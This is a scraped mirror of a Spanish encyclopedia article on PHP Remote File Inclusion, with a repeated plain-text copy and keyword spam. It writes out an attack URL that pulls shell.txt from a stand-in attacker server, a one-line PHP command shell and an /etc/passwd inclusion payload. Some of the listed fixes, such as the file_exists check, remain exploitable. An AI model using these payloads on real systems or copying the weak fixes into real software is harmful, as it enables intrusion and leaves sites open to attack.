fbpx
Wikipedia

Remote File Inclusion

RFI (Remote File Inclusion), traducido al español como Inclusión Remota de Archivos - vulnerabilidad existente solamente en páginas dinámicas en PHP que permite el enlace de archivos remotos situados en otros servidores a causa de una mala programación de la página que contiene funciones de inclusión de archivos.

Este tipo de vulnerabilidad no se da en páginas programadas en ASP o en cualquier otro tipo de lenguaje similar que no contenga la posibilidad de la inclusión remota de archivos ajenos al servidor.

Resumen del ataque

Las funciones include, include_once, require, require_once son utilizadas para incluir en una misma página otras páginas a la vez, por la necesidad de utilizar un código fuente o por otras diversas razones de programación.

Una página vulnerable que presente un aspecto similar a este en su URL:

http://[servidor_victima]/index.php?page=plantilla.html

El atacante podrá obtener una Shell en el servidor vulnerable mediante lo siguiente:

http://[servidor_victima]/index.php?page=http://[servidor_atacante]/shell.txt&&cmd=ls

Pudiendo contener el archivo shell.txt cualquier código, por ejemplo:

<? system($cmd); ?> 

El archivo debe tener una extensión distinta a cualquier otra que se pueda ejecutar en el servidor del atacante (.txt,.gif, etc), una extensión ".php" no sería válida, ya que en el servidor víctima al incluir el fichero con extensión.php se estaría ejecutando antes el código php en el servidor del atacante; recordemos que el código php se ejecuta en el servidor y el usuario solo puede ver el resultado, es por esto que el código del script malicioso debe ir con una extensión distinta, ya que la función include, require, require_once, include_once ejecutaría el código php contenido en el fichero que se pasa como parámetro a la función, sin importar la extensión que tenga.

Lo que la víctima incluye en su página son secciones que se pasan a la variable page según el ejemplo anterior

<? include_once($page) ?> 


Detener el ataque

Para detener este tipo de ataques, el programador debe filtrar correctamente la variable ejemplo:

<? if ($url=="seccion") include ($url.".php"); ?> 

o

<? include ("./".$url.".php"); ?> Este último puede provocar un tipo de fallo llamado Local File Inclusion si $url toma un valor de tipo ../../../etc/passwd%00. El Local File Inclusion podría inclusive permitir la ejecución de comandos al insertar código malicioso a través de LOG's por ejemplo al incluirlos. 

o

<? switch($url) { case 0:include ("./contenidos/estapagina.php"); break; case 1:include ("./contenidos/estaotra.php"); break; default: include("./contenidos/error.php"); break; } ?> 

o

<?php if(!file_exists($_GET['page'])) { die('No existe'); } else{ require_once($_GET['page']); } ?> 

o

<? $url = intval($_GET['url']); //$url solo contendrá un valor entero. $pagina = "./contenidos/cont".$url.".php"; if (file_exists($pagina)) include($pagina); ?> 

Otra Solución



Otra solución más avanzada es aplicar una validación de la variable enviada como parámetro, descartando la inclusión de archivos remotos no deseados.

<? $url = str_replace(array(':', '.', '/', '\\'), '', $url); include_once($url); ?> 
  •   Datos: Q2143161

remote, file, inclusion, traducido, español, como, inclusión, remota, archivos, vulnerabilidad, existente, solamente, páginas, dinámicas, permite, enlace, archivos, remotos, situados, otros, servidores, causa, mala, programación, página, contiene, funciones, i. RFI Remote File Inclusion traducido al espanol como Inclusion Remota de Archivos vulnerabilidad existente solamente en paginas dinamicas en PHP que permite el enlace de archivos remotos situados en otros servidores a causa de una mala programacion de la pagina que contiene funciones de inclusion de archivos Este tipo de vulnerabilidad no se da en paginas programadas en ASP o en cualquier otro tipo de lenguaje similar que no contenga la posibilidad de la inclusion remota de archivos ajenos al servidor Resumen del ataque EditarLas funciones include include once require require once son utilizadas para incluir en una misma pagina otras paginas a la vez por la necesidad de utilizar un codigo fuente o por otras diversas razones de programacion Una pagina vulnerable que presente un aspecto similar a este en su URL http servidor victima index php page plantilla html El atacante podra obtener una Shell en el servidor vulnerable mediante lo siguiente http servidor victima index php page http servidor atacante shell txt amp amp cmd ls Pudiendo contener el archivo shell txt cualquier codigo por ejemplo lt system cmd gt El archivo debe tener una extension distinta a cualquier otra que se pueda ejecutar en el servidor del atacante txt gif etc una extension php no seria valida ya que en el servidor victima al incluir el fichero con extension php se estaria ejecutando antes el codigo php en el servidor del atacante recordemos que el codigo php se ejecuta en el servidor y el usuario solo puede ver el resultado es por esto que el codigo del script malicioso debe ir con una extension distinta ya que la funcion include require require once include once ejecutaria el codigo php contenido en el fichero que se pasa como parametro a la funcion sin importar la extension que tenga Lo que la victima incluye en su pagina son secciones que se pasan a la variable page segun el ejemplo anterior lt include once page gt Detener el ataque EditarPara detener este tipo de ataques el programador debe filtrar correctamente la variable ejemplo lt if url seccion include url php gt o lt include url php gt Este ultimo puede provocar un tipo de fallo llamado Local File Inclusion si url toma un valor de tipo etc passwd 00 El Local File Inclusion podria inclusive permitir la ejecucion de comandos al insertar codigo malicioso a traves de LOG s por ejemplo al incluirlos o lt switch url case 0 include contenidos estapagina php break case 1 include contenidos estaotra php break default include contenidos error php break gt o lt php if file exists GET page die No existe else require once GET page gt o lt url intval GET url url solo contendra un valor entero pagina contenidos cont url php if file exists pagina include pagina gt Otra Solucion Otra solucion mas avanzada es aplicar una validacion de la variable enviada como parametro descartando la inclusion de archivos remotos no deseados lt url str replace array url include once url gt Datos Q2143161Obtenido de https es wikipedia org w index php title Remote File Inclusion amp oldid 136618677, wikipedia, wiki, leyendo, leer, libro, biblioteca,

español

, española, descargar, gratis, descargar gratis, mp3, video, mp4, 3gp, jpg, jpeg, gif, png, imagen, música, canción, película, libro, juego, juegos